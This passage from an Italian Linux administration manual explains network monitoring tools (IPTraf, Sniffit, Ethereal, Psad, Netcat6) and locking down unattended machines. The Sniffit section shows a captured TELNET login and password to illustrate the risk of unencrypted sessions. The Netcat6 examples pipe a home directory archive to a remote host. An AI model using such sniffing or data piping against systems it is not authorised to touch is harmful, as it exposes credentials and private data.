Con l’opzione ‘-g’ si ottiene immediatamente la selezione della funzione General interface statistics, ovvero le statistiche generali delle interfacce presenti.
|iptraf -d interfaccia
Con l’opzione ‘-d’ e l’aggiunta dell’indicazione di un’interfaccia di rete, si ottiene immediatamente la selezione della funzione Detailed interface statistics, ovvero le statistiche dettagliate di quell’interfaccia.
|iptraf -s interfaccia
Con l’opzione ‘-s’ e l’aggiunta dell’indicazione di un’interfaccia di rete, si ottiene immediatamente la selezione della funzione TCP/UDP service monitor, ovvero il monitor dei servizi TCP e UDP di quell’interfaccia.
346 volume IV Comunicare 2
Sintassi di avvio Descrizione
|iptraf -e
Con l’opzione ‘-e’ si ottiene immediatamente la selezione della funzione Ethernet station monitor, ovvero il monitor delle stazioni Ethernet (riguarda solo le interfacce Ethernet).
La configurazione di IPTraf può essere definita a livelli differenti: la configurazione generale e quella che riguarda i filtri di selezione dei pacchetti da elaborare. La configurazione generale è definibile attraverso la funzione Options del menù generale, da cui si accede a quanto si vede nella figura 230.14, che rappresenta anche l’impostazione predefinita.
Figura 230.14. Definizione delle opzioni generali di IPTraf.
Le opzioni si attivano e si disattivano premendo il tasto [ Invio ]; quando una voce è terminata da tre punti di sospensione (‘...’), selezionandola si ottiene una finestra a scomparsa attraverso la quale
fornire altre indicazioni. Lo stato delle opzioni è indicato dalla finestra destra: Enabled Options.
opzione di configurazione Descrizione ‘Reverse DNS lookups’
Se attivata, fa in modo di risolvere gli indirizzi IP in nomi di dominio corrispondenti. L’attivazione di questa modalità può provocare dei ritardi nel funzionamento di IPTraf, per cui è consigliabile limitarne l’uso. Questa opzione è disattivata in modo predefinito.
‘Promiscuous operation’
La modalità promiscua consente a IPTraf si analizzare tutto il traffico della rete fisica, non solo quello che interferisce con il nodo in cui si utilizza. Questa opzione è disattivata in modo predefinito.
‘Color’
IPTraf è in grado di determinare automaticamente se il tipo di terminale utilizzato consente la visualizzazione dei colori o meno. Tuttavia, è possibile disabilitare la visualizzazione dei colori attraverso questa opzione.
‘Logging’
IPTraf può annotare le informazioni sul traffico all’interno di un file di registrazioni, precisamente ‘/var/lib/iptraf/ iptraf.log’. Questa opzione è disabilitata in modo predefinito dal momento che il registro può diventare rapidamente molto grande.
La funzionalità di controllo del traffico IP rappresenta l’utilizzo più comune di IPTraf. Selezionando la voce corrispondente dal menù generale, oppure avviando ‘iptraf’ con l’opzione ‘-i’, si ottiene qualcosa di simile a quanto mostrato nella figura 230.16, dove in particolare appare anche lo stato di una connessione TELNET tra 192.168.1.1 e 192.168.1.2.
Strumenti per il controllo e l’analisi del traffico IP 347
Figura 230.16. Monitor di traffico IP con una connessione TELNET attiva.
Il monitor di traffico IP si compone di due finestre: una superiore per le connessioni TCP e una inferiore per gli altri tipi. Una delle due finestre è quella attiva, che si distingue perché appare la parola ‘Active’ sul bordo nella parte bassa, al lato destro. All’interno della finestra attiva è possibile fare scorrere le informazioni con i tasti [ freccia su ] e [ freccia giù ]; per cambiare la finestra attiva basta utilizzare il tasto [ w ], come suggerisce il promemoria che appare nell’ultima
riga dello schermo. Per uscire da questa funzionalità basta il tasto [ x ], oppure la combinazione [Ctrl x ].
Non è possibile conoscere quale sia la parte che ha originato la connessione TCP, salvo intuirlo dalle convenzioni sull’uso delle porte; nella finestra relativa, le connessioni TCP vengono sempre
mostrate con una coppia di voci: una per ogni direzione della connessione TCP.
Il significato delle varie colonne di informazione che appaiono nella finestra delle connessioni TCP dovrebbe essere abbastanza intuitivo, a parte la colonna ‘Flags’, all’interno della quale possono essere annotate lettere e parole chiave differenti. Il significato di queste viene descritto di seguito.
Simbolo Descrizione
‘S’
L’ultimo pacchetto individuato è stato di tipo SYN, sincronizzazione,
che si usa in preparazione di una connessione.
‘A’
L’ultimo pacchetto individuato è stato di tipo ACK, che si usa
per confermare la ricezione precedente di un pacchetto.
‘P’
L’ultimo pacchetto individuato è stato di tipo PSH, push, che
si usa per richiedere lo spostamento dei dati all’inizio della
coda di ricezione.
‘U’
L’ultimo pacchetto individuato è stato di tipo URG, che si usa
per rappresentare dati urgenti.
‘RESET’
La connessione è stata azzerata dal nodo di origine della
direzione a cui si riferisce.
‘DONE’
La connessione ha terminato l’invio di dati nella direzione a
cui si riferisce e ha inviato il pacchetto FIN, ma non è ancora
stata confermata la conclusione dall’altro nodo.
‘CLOSED’
L’invio precedente del pacchetto FIN è stato confermato
dall’altra parte.
348 volume IV Comunicare 2
Se si verifica una presenza inusuale di pacchetti SYN, può trattarsi di un tentativo di attacco, definito SYN flood, che letteralmente significa: «inondazione di pacchetti SYN».
230.5 Sniffit
Sniffit 6 è un programma per l’analisi del traffico di rete, che può essere usato per individuare le connessioni TCP in corso, oppure per conservare una sorta di registro delle comunicazioni avvenute, contenente le comunicazioni stesse.
Naturalmente, la lettura del contenuto dei pacchetti può essere utile a livello didattico, oppure per individuare dei problemi nell’utilizzo della rete, mentre diventa una pratica illegale quando ciò sconfina nel diritto alla riservatezza delle persone.
La sintassi per l’avvio di Sniffit è quella seguente, tenendo conto che almeno un’opzione del primo gruppo è obbligatoria.
|
|sniffit {-v|-s nodo|-t nodo|-i|-I|-c file_di_configurazione}... altre_opzioni
|
Segue la descrizione di alcune opzioni.
Opzione Descrizione
|-v Mostra la versione e non fa altro.
|-s nodo
|-t nodo
Limitano l’osservazione, rispettivamente, al nodo di origine e al nodo di destinazione indicati. Queste opzioni riguardano solo per il traffico TCP e UDP. L’indirizzo, se espresso in forma numerica, può essere parziale e completato con il simbolo ‘@’.
|-i
|-I
Attiva un funzionamento interattivo, dove ‘-I’ mostra più informazioni.
|-c file Consente di indicare un file contenente una serie di direttive,
attraverso le quali si stabilisce il comportamento di Sniffit.
|-F interfaccia Consente di specificare il nome dell’interfaccia di rete a cui
fare riferimento.
|-d
|-a
Mostra i pacchetti sullo schermo, rispettivamente in esadecimale e in ASCII
|-P {IP|TCP|UDP|ICMP} Consente di selezionare un tipo di protocollo, tra quelli
indicati. Questa opzione è incompatibile con ‘-i’ o ‘-I’.
|-p n_porta Per quanto riguarda i protocolli TCP e UDP, consente di
limitare l’attenzione ai pacchetti riferiti alla porta indicata.
|-l n_byte Definisce la quantità massima di byte da accumulare per ogni
pacchetto. Il valore zero serve a non porre limiti.
Qui viene mostrato soltanto il funzionamento interattivo, con l’opzione ‘-I’, all’interno del quale è possibile anche inserirsi in uno dei flussi TCP per leggerne i dati:
# sniffit -I -F eth0 [ Invio ]
Strumenti per il controllo e l’analisi del traffico IP 349
In questo modo si ottiene il funzionamento interattivo, specificando espressamente l’interfaccia (in questo caso si tratta di ‘eth0’. Quello che si vede nella figura seguente è soltanto il traffico TCP attivo:
Figura 230.19. Sniffit durante il funzionamento interattivo con l’opzione ‘-I’.
Nel riquadro delle connessioni TCP, appare un cursore, con cui è possibile selezionare, all’interno di una connessione, uno dei due flussi (andata o ritorno). Una volta collocato il cursore sopra un flusso di interesse, basta premere [ Invio ] per ottenere una finestra in cui appare il contenuto di quella comunicazione:
Figura 230.20. Intercettazione di una copia del flusso di dati.
Come si può intuire dalla figura, in questo caso si intercetta il flusso dei dati trasmessi da un 350 volume IV Comunicare 2
cliente TELNET, proprio nella fase dell’autenticazione: l’utente ‘tizio’, con la parola d’ordine ‘baci47’.7
230.6 Ethereal
Ethereal 8 è un programma per l’analisi del traffico di rete, fino al livello due del modello ISO-OSI (collegamento dati), riuscendo a riconoscere all’interno di questo una serie di protocolli al livello tre e quattro del modello ISO-OSI (rete). In particolare, individua correttamente molti protocolli collegati a IPv4 e IPv6.
Ethereal è pensato principalmente per accumulare il traffico intercettato, allo scopo di consentire un’analisi dettagliata di questo in un momento successivo; nello stesso modo è predisposto per
accedere a informazioni di questo genere accumulate da programmi diversi, così come è in grado di esportare i propri dati in formati alternativi.
Ethereal consente anche una visualizzazione in tempo reale del traffico in corso, in modo analogo a quanto fa IPTraf, con la differenza che le informazioni fornite sono molto più chiare. In questo senso, Ethereal è un ottimo strumento didattico per lo studio delle reti.
Ethereal viene usato normalmente attraverso il sistema grafico X e deve funzionare con i privilegi dell’utente ‘root’, per poter accedere direttamente all’interfaccia di rete da sondare. L’eseguibile da avviare è ‘ethereal’:
|
|ethereal [opzioni]|
Qui si intende mostrare il funzionamento di Ethereal in modo interattivo, senza l’uso di opzioni nella riga di comando. Eventualmente si può consultare la pagina di manuale ethereal(1).
Strumenti per il controllo e l’analisi del traffico IP 351
Figura 230.21. Ethereal avviato senza opzioni, rimane in attesa prima di iniziare la sua analisi.
Una volta avviato l’eseguibile ‘ethereal’, per ottenere un’analisi del traffico in tempo reale può essere necessario controllare la configurazione. Si trova la voce Preferences nel menù Edit:
Figura 230.22. La finestra di configurazione di Ethereal per quanto riguarda la
selezione dei pacchetti catturati.
352 volume IV Comunicare 2
La figura mostra in particolare la selezione della modalità promiscua, con cui si intercettano tutti i pacchetti che l’interfaccia di rete selezionata è in grado di osservare.
Una volta definita la configurazione e selezionata l’interfaccia di rete di interesse, si può passare alla cattura dei pacchetti, selezionando la voce Start dal menù Capture. Si ottiene una finestra da cui è possibile aggiustare le opzioni relative alla cattura:
Figura 230.23. La finestra che appare quando si chiede di iniziare la cattura dei
pacchetti.
Durante la cattura dei pacchetti viene visualizzata una statistica sull’avanzamento di questo lavoro, dove appare un pulsante grafico che consente di fermare l’accumulo dei dati. Se in precedenza è stata richiesta la visualizzazione in tempo reale delle informazioni relative alla cattura, anche il contenuto dei pacchetti viene visualizzato nella finestra principale di Ethereal.
Strumenti per il controllo e l’analisi del traffico IP 353
Figura 230.24. Statistiche visualizzate durante la cattura dei pacchetti.
La finestra principale di Ethereal si divide in tre parti: in quella superiore appare l’elenco di pacchetti intercettati con una descrizione essenziale del loro contenuto; selezionando un pacchetto nella parte superiore, in quella centrale appare un elenco ad albero di componenti del pacchetto stesso; selezionando una voce nell’elenco del riquadro centrale, appare in quello inferiore l’evidenziamento
della porzione di pacchetto che lo riguarda. La figura seguente mostra la porzione IP di un pacchetto relativo a una comunicazione TELNET:
Figura 230.25. Porzione IP di un pacchetto relativo a una comunicazione TELNET.
354 volume IV Comunicare 2
Nella figura successiva, si analizzano i dati TCP dello stesso pacchetto, mostrando in particolare dove si colloca l’informazione sulla porta di destinazione:
Figura 230.26. Porta di destinazione TCP di un pacchetto relativo a una
comunicazione TELNET.
Strumenti per il controllo e l’analisi del traffico IP 355
230.7 IPlogger
IPlogger 9 è un pacchetto di programmi contenente alcuni demoni che si occupano di annotare le connessioni all’interno del registro del sistema. Allo stato attuale si tratta solo di ‘tcplog’ e di ‘icmplog’, in grado rispettivamente di annotare le connessioni TCP e l’utilizzo del protocollo ICMP. Non è niente di eccezionale, ma qualcosa di utile nel caso non si abbiano strumenti migliori.
Non c’è molto da aggiungere sull’utilizzo di questi due demoni: basta fare in modo che la procedura di inizializzazione del sistema provveda ad avviarli e loro si arrangiano. Non occorre alcuna configurazione.
È probabile che questo pacchetto abbia uno sviluppo futuro, aggiungendo varie forme di identificazione di attacchi noti.
230.8 Psad
Psad, 10 ovvero Port scan attack detector è un sistema di controllo che si basa sull’analisi di una porzione del registro di sistema, alla ricerca di annotazioni fatte dalla gestione del filtro dei pacchetti dei kernel Linux 2.4.*.
In pratica, si comincia dalla definizione di regole di filtro dei pacchetti con Iptables (capitolo 215), a cui si aggiungono delle istruzioni per annotare il traffico che non si desidera:
356 volume IV Comunicare 2
|
|iptables -t filter -A posizione [altre_opzioni] -j LOG --log-prefix " DROP"
|
Generalmente, se si utilizza una politica predefinita di eliminazione dei pacchetti, si inseriscono regole che abilitano espressamente il passaggio di ciò che si desidera lasciare circolare. In questo modo è sufficiente mettere alla fine le istruzioni con cui si richiede di annotare il traffico rimanente, che di conseguenza non è desiderato. Supponendo che venga controllato il traffico in ingresso e quello in attraversamento, si possono aggiungere in coda le istruzioni seguenti:
|iptables -t filter -A INPUT -j LOG --log-prefix " DROP"
|iptables -t filter -A FORWARD -j LOG --log-prefix " DROP"
Per utilizzare Psad è necessario, a questo punto, intervenire nel file ‘/etc/syslog.conf’, in modo da dirigere i messaggi di tipo ‘kern.info’ in una pipe con nome (un file FIFO): ‘/var/run/psadfifo’.
|kern.info |/var/run/psadfifo
Se Psad è stato installato a partire da un pacchetto già pronto per la propria distribuzione GNU/Linux, dovrebbe essere messo in funzione in modo automatico, per opera della procedura di inizializzazione del sistema; diversamente può essere avviato l’eseguibile ‘psad’, con
l’aggiunta eventuale di qualche opzione per indicare al programma la collocazione dei file di configurazione.
I file di configurazione dovrebbero trovarsi nella directory ‘/etc/psad/’ e il più importante da prendere in considerazione è ‘/etc/psad/psad.conf’. In questo file di configurazione vengono
specificate in particolare le collocazioni dei file utilizzati da Psad per annotare le informazioni ottenute a proposito degli accessi rifiutati dal sistema di filtro dei pacchetti, file che dovrebbero trovarsi nella directory ‘/var/log/psad/’ in condizioni normali. In generale, nel file di configurazione ‘/etc/psad/psad.conf’ può essere utile specificare un indirizzo di posta elettronica
a cui mandare gli avvertimenti generati da Psad, con la direttiva seguente:
|### Supports multiple email addresses.
|EMAIL_ADDRESSES (root@localhost);
Teoricamente, Psad potrebbe essere in grado di riprogrammare le regole relative al filtro dei pacchetti (attraverso Iptables), ma questo forse è meglio evitarlo, a meno di conoscere perfettamente il suo funzionamento:
|### If "Y", enable automated IDS response (auto manages
|### firewall rulesets).
|ENABLE_AUTO_IDS N;
|### Enable iptables blocking (only gets enabled if ENABLE_AUTO_IDS is also set)
|IPTABLES_BLOCK_METHOD Y;
|### Enable ipchains blocking (only gets enabled if ENABLE_AUTO_IDS is also set)
|IPCHAINS_BLOCK_METHOD N;
|### Enable tcp wrappers blocking
|TCPWRAPPERS_BLOCK_METHOD Y;
Se si mette in funzione Psad quando la gestione del filtro dei pacchetti non include una regola che produce annotazioni adatte nel registro di sistema, viene generato un messaggio di avvertimento,
inviato all’indirizzo di posta elettronica previsto per questo genere di informazioni. A ogni modo, si può verificare facilmente se Psad è in grado di svolgere il suo lavoro correttamente, provando una scansione con Nmap (capitolo 229):
Strumenti per il controllo e l’analisi del traffico IP 357
|
|nmap indirizzo_ip
|
È molto probabile, in base alla configurazione standard contenuta nel file ‘/etc/syslog.conf’, che si vedano apparire le segnalazioni generate dal filtro dei pacchetti anche sulla console attiva.
Se la scansione viene intercettata, ovvero, se il sistema di filtro dei pacchetti intercetta la scansione, si dovrebbe ottenere quasi subito un messaggio di posta elettronica, simile a quello seguente:
|To: root@localhost
|Subject: psad WARNING: dinkel (192.168.1.1) has been scanned!
|Message-Id: <E19Au3y-0000Hc-00@dinkel.brot.dg>
|From: root <root@dinkel.brot.dg>
|Date: Wed, 30 Apr 2003 18:04:06 +0200
|
|=-=-=-=-=-=-=-=-=-=-=-=-=-= Apr 30 18:04:06 =-=-=-=-=-=-=-=-=-=-=-=-=-=
|psad: portscan detected against dinkel (192.168.1.1).
|
|Source: 192.168.1.1
|Destination: 192.168.1.1
|Newly scanned TCP ports: [33032-33052] (since: Apr 30 18:04:03)
|Newly Blocked TCP packets: [1365] (since: Apr 30 18:04:03)
|TCP flags: [ACK RST: 1364 packets]
|TCP flags: [RST: 1 packets]
|Complete TCP/UDP port range: [33032-33052] (since: Apr 30 18:04:03)
|Total blocked packets: 1365
|Start time: Apr 30 18:04:03
|End time: Apr 30 18:04:06
|Danger level: 3 out of 5
|DNS info: 192.168.1.1 -> dinkel.brot.dg
|
|
|---- Whois Information: ----
|
|=-=-=-=-=-=-=-=-=-=-=-=-=-= Apr 30 18:04:06 =-=-=-=-=-=-=-=-=-=-=-=-=-=
230.9 Netcat6
Netcat6 11 è un programma creato allo scopo di leggere e scrivere dati attraverso delle connessioni di rete TCP o UDP. Si tratta di uno strumento generico, vagamente simile a un cliente TELNET, con la differenza che può funzionare anche con il protocollo UDP. Le potenzialità di questo programma sono notevoli, ma qui vengono mostrate solo alcune delle sue caratteristiche; per il resto si può leggere la sua documentazione, che per essere compresa richiede comunque un po’ di esperienza nella gestione delle reti TCP/IP.
Netcat6 può funzionare, quasi indifferentemente, come cliente o servente di una connessione; per questo è uno strumento ottimale per la verifica del funzionamento delle connessioni di rete e non solo. In un certo senso, l’eseguibile ‘nc6’, ovvero ciò che costituisce Netcat6, è paragonabile idealmente al programma ‘dd’, con la differenza che invece di fare riferimento a dei dispositivi, si lavora con la rete a livello di trasporto TCP e UDP: il quarto nel modello ISO-OSI.
L’eseguibile ‘nc6’ è tutto ciò che compone Netcat6. Questo programma instaura una connessione, in qualità di cliente o di servente, utilizzando il protocollo TCP oppure UDP, trasmettendo
358 volume IV Comunicare 2
ciò che ottiene dallo standard input e restituendo attraverso lo standard output ciò che riceve dall’altro capo.
|
|nc6 [opzioni] nodo porta
|
|
|nc6 -l -p porta [nodo [porta]]|
L’uso di Netcat6 differisce fondamentalmente a seconda del fatto che si voglia raggiungere un servizio in ascolto presso un nodo, a una porta determinata, oppure che si intenda avviarlo per restare in ascolto in attesa di una richiesta di connessione. Nel secondo caso si usa l’opzione ‘-l’ (Listen).
Il funzionamento di questo programma si comprende meglio attraverso degli esempi, ma per il momento viene mostrato il significato di alcune opzioni.
Opzione Descrizione
|-4 Forza l’utilizzo di IPv4.
|-6 Forza l’utilizzo di IPv6.
|-l
Fa in modo che Netcat6 venga avviato per restare in ascolto di una certa porta (specificata attraverso l’opzione ‘-p’).
|-p porta Permette di specificare la porta a cui Netcat6 deve prestare ascolto. Si usa assieme all’opzione ‘-l’.
|-n Fa in modo che si eviti di tentare di risolvere gli indirizzi IP in nomi di dominio.
|-s indirizzo_ip_locale
Definisce esplicitamente l’indirizzo IP locale. Perché ciò possa essere fatto, occorre che questo indirizzo sia abbinato effettivamente a un’interfaccia di rete, eventualmente anche solo come alias.
|-u
Utilizza il protocollo UDP. Senza questa opzione, viene usato il protocollo TCP in modo predefinito.
L’esempio seguente, serve a instaurare una connessione TCP con il servente SMTPdinkel.brot.dg:
$ nc6 dinkel.brot.dg smtp [ Invio ]
Un uso interessante di Netcat6 è quello con il quale si ottiene un trasferimento dati senza bisogno di una shell remota (‘rsh’ per esempio). Per questo, da una parte occorre avviare l’eseguibile ‘nc6’ in ascolto di una certa porta TCP, mentre dall’altra si utilizza sempre ‘nc6’ in modo che cerchi di contattare quella porta di quel nodo. Il canale che si crea può essere sfruttato per questo scopo.
• $ nc6 -l -p 1234 | tar xzpvf - [ Invio ]
In questo modo, Netcat6 viene avviato in ascolto della porta 1234, che si presume sia libera.
Il suo standard output viene passato a ‘tar’ che deve occuparsi di estrarne il contenuto nella directory corrente. In pratica, si presume che Netcat6 debba ricevere dalla porta 1234 un file corrispondente a un archivio tar+gzip e che questo debba essere riprodotto localmente.
• $ tar czf - /home/tizio | nc6 dinkel.brot.dg 1234 [ Invio ]
Strumenti per il controllo e l’analisi del traffico IP 359
Questo comando è la controparte dell’esempio mostrato prima: viene archiviata la directory ‘/home/tizio/’ e passata all’eseguibile ‘nc6’ attraverso una pipeline. Evidentemente, dinkel.brot.dg è il nodo all’interno del quale deve essere riprodotta tale directory.
Netcat6 può essere usato per ridirigere una connessione TCP, per esempio attraverso un firewall.
Gli esempi seguenti si riferiscono a Inetd, pertanto si tratta di direttive del file ‘/etc/inetd.conf’.
|www stream tcp nowait nobody /usr/sbin/tcpd /usr/bin/nc6 roggen.brot.dg 80
In questo caso, le richieste TCP per la porta ‘www’ (ovvero 80), sono ridirette attraverso Netcat6 verso il nodo roggen.brot.dg alla stessa porta.
|www stream tcp nowait nobody /usr/sbin/tcpd /usr/bin/nc6 roggen.brot.dg 1234
Questa è solo una piccola variante dell’esempio precedente, in cui si presume che il vero servente HTTP si trovi sempre nel nodo roggen.brot.dg, ma sia in ascolto della porta 1234.
Appunti di informatica libera 2005.09.23 anteprima --- Copyright Ó 2000-2005 Daniele Giacomini -- hdaniele (ad) swlibero·org i, hdaniele·giacomini (ad) poste·it i ---
questa è un’edizione di prova dell’opera, contenente sezioni incomplete o scritte in modo frettoloso; si prega di segnalare i difetti riscontrati, di qualunque
genere essi siano, e si chiede gentilmente di non diffondere questa edizione, in attesa di quella standard
1 net-tools GNU GPL
2 Psmisc GNU GPL
3 Fuser utilizza in pratica le informazioni contenute nella directory ‘/proc/’.
4 Tcpdump software libero con licenza speciale
5 IPTraf GNU GPL
6 Sniffit software libero con licenza speciale
7 Questo esempio viene mostrato proprio per far comprendere quanto vulnerabile sia un terminale
remoto che non utilizzi una comunicazione cifrata.
8 Ethereal GNU GPL
9 IPlogger GNU GPL
10 Psad GNU GPL
11 Netcat6 GNU GPL
360
Capitolo 231
Misure di sicurezza per l’elaboratore personale
senza rete
Anche quando l’elaboratore non è connesso a una rete, potrebbe essere vulnerabile per il solo fatto di essere accessibile fisicamente da parte di altre persone. In questo capitolo vengono raccolte solo alcune note al riguardo.
231.1 Avvio e riavvio
Il primo punto debole di un elaboratore che può essere raggiunto fisicamente da un intruso, sta nella possibilità di essere avviato, o riavviato, in modo da poterne controllare il funzionamento.
In pratica, se si esclude la possibilità del furto del disco fisso (che comunque non è poi tanto remota), bisogna impedire che si possa riavviare l’elaboratore attraverso un dischetto o un CDROM, perché in questo modo si potrebbe prendere il controllo della macchina e accedere ai dati come si vuole. Questo si impedisce a livello di firmware (il BIOS), definendo una parola d’ordine da inserire ogni volta che si avvia l’elaboratore.
Oltre a questa soluzione che riguarda l’hardware, si potrebbe intervenire ulteriormente anche sul programma che si occupa di avviare il kernel. Nel caso di LILO si può aggiungere la direttiva
seguente:
|
|password=parola_d’ordine
|
Con questa, la parola d’ordine viene chiesta ogni volta che si avvia. Eventualmente, si può aggiungere la direttiva successiva, per fare in modo che questa parola d’ordine venga richiesta solo quando si aggiunge un comando di avvio:
|
|restricted
|
Evidentemente, se si interviene in questo modo, bisogna considerare i permessi del file di configurazione ‘/etc/lilo.conf’: se si vuole evitare che gli utenti comuni possano leggerlo, basta togliere tutti i permessi per il gruppo proprietario e per tutti gli altri utenti.
# chmod 0600 /etc/lilo.conf [ Invio ]
È bene tenere presente che la direttiva ‘password’ può essere utilizzata prima delle sezioni che si riferiscono alle varie immagini, ovvero nella parte delle opzioni globali, oppure può essere collocata all’interno di una di queste sezioni. Nel primo caso la parola d’ordine viene chiesta sempre, mentre nel secondo viene chiesta solo alla selezione di un’immagine determinata. Lo stesso ragionamento vale per la direttiva ‘restricted’.
Il riavvio dell’elaboratore potrebbe essere un altro problema da considerare. Di certo, se c’è un accesso fisico alla macchina da parte del solito ignoto, è difficile impedire che questo possa spegnere e riaccendere l’elaboratore, tuttavia gli può essere impedito di utilizzare la nota combinazione [ Ctrl Alt Canc ]. Per questo basta modificare il file ‘/etc/inittab’, dove di solito si trova un record simile a quello seguente:
|# What to do when CTRL-ALT-DEL is pressed.
|ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now
Misure di sicurezza per l’elaboratore personale senza rete 361
Per impedirlo, basta modificare il comando abbinato alla combinazione. Si osservi la modifica seguente, in cui il record originale è stato conservato all’interno di un commento:
|# What to do when CTRL-ALT-DEL is pressed.
|#ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now
|ca:12345:ctrlaltdel:/bin/echo "La combinazione Ctrl+Alt+Canc è disabilitata"
231.2 Protezione del terminale e della console
Se quello che si utilizza è un terminale seriale, o un terminale remoto, la cosa migliore da fare per proteggere il proprio lavoro mentre ci si allontana è quello di chiudere la sessione di lavoro. Se si avviano dei processi sullo sfondo è bene prevedere in anticipo questo fatto, avviandoli attraverso ‘nohup’ (sezione 52.4.3), oppure si può utilizzare Screen (sezione 63.5).
Se si utilizza una console, dal momento che è molto probabile che si stiano utilizzando diverse console virtuali simultaneamente, questo tipo di soluzione potrebbe essere un po’ troppo complicato.
In questi casi si preferisce usare un programma apposito che blocca l’accesso a tutte le console virtuali.
231.2.1 Utilizzo di «lockvc»
Il programma ‘lockvc’ 1 fa uso della libreria SVGAlib (capitolo 114) e si comporta come un salva-schermo protetto da una parola d’ordine. Il suo funzionamento è molto semplice, tanto da riassumersi nello schema sintattico seguente:
|
|lockvc [stars|morph|fudge|fire]|
In pratica, l’argomento composto da una parola chiave, stabilisce il tipo di effetto che si vuole visualizzare come salva-schermo, che interviene subito bloccando tutte le console virtuali.
Quando si preme un tasto alfanumerico, il salva-schermo si interrompe e viene richiesto l’inserimento della parola d’ordine dell’utente che lo ha avviato (viene specificato di quale utente si tratta); se l’identificazione fallisce il salva-schermo riprende, altrimenti ‘vlock’ termina di funzionare.
231.2.2 Utilizzo di «vlock»
Il programma ‘vlock’ 2 è più semplice di ‘lockvc’, senza avere alcuna pretesa di funzionare come salva-schermo, limitandosi a bloccare la console virtuale in cui viene avviato, a meno che sia utilizzata l’opzione ‘-a’, con la quale vengono bloccate anche tutte le altre console virtuali.
|
|vlock [opzioni]| A differenza di ‘lockvc’, il funzionamento di ‘vlock’ può essere concluso anche con l’inserimento della parola d’ordine dell’utente ‘root’.
362 volume IV Comunicare 2
231.3 Protezione del lavoro con X
La protezione del lavoro su una stazione grafica può essere fatta in modo simile a quello che riguarda la console, attraverso programmi che la bloccano, eventualmente attivando un salvaschermo.
Tuttavia, esiste un problema in più: per evitare che sia possibile interrompere il funzionamento del servente grafico attraverso la combinazione [ Ctrl Alt Backspace ], occorre la direttiva ‘DontZap’ nella sezione ‘ServerFlags’:
|Section "ServerFlags"
| Option DontZap
| # Option Dont Zoom
|EndSection
231.3.1 Utilizzo di «xlock»
Il programma ‘xlock’ 3 è il più comune per il blocco di una stazione grafica X. Sono disponibili una grande quantità di opzioni; in particolare l’opzione ‘-mode’ prevede un elenco molto lungo di argomenti composti da una sola parola chiave, che serve a definire il tipo di effetto grafico da utilizzare come salva-schermo.
|
|xlock [opzioni]|
In condizioni normali, se non si usano opzioni che vanno in senso contrario, basta premere un tasto qualunque per interrompere il salva-schermo; quindi, con l’inserimento della parola d’ordine dell’utente che lo ha avviato, si può concludere il funzionamento di ‘xlock’.
A titolo di esempio viene mostrato il caso di un salva-schermo nero:
$ xlock -mode blank [ Invio ]
Nel caso non si utilizzasse alcuna opzione, si otterrebbe un effetto grafico salva-schermo, scelto casualmente tra quelli disponibili.
231.3.2 Utilizzo di «xtrlock»
Il programma ‘xtrlock’ 4 non prevede alcun argomento e il suo scopo è solo quello di bloccare l’uso della tastiera e del mouse, senza attivare alcun salva-schermo.
|
|xtrlock
|
Lo sblocco della stazione grafica si ottiene soltanto digitando la parola d’ordine dell’utente (senza alcun campo di inserimento), concludendo con la pressione di [ Invio ]. Se la parola d’ordine inserita è errata, viene emesso un segnale acustico e quindi si può riprovare l’inserimento.
Appunti di informatica libera 2005.09.23 anteprima --- Copyright Ó 2000-2005 Daniele Giacomini -- hdaniele (ad) swlibero·org i, hdaniele·giacomini (ad) poste·it i ---
questa è un’edizione di prova dell’opera, contenente sezioni incomplete o scritte in modo frettoloso; si prega di segnalare i difetti riscontrati, di qualunque
genere essi siano, e si chiede gentilmente di non diffondere questa edizione, in attesa di quella standard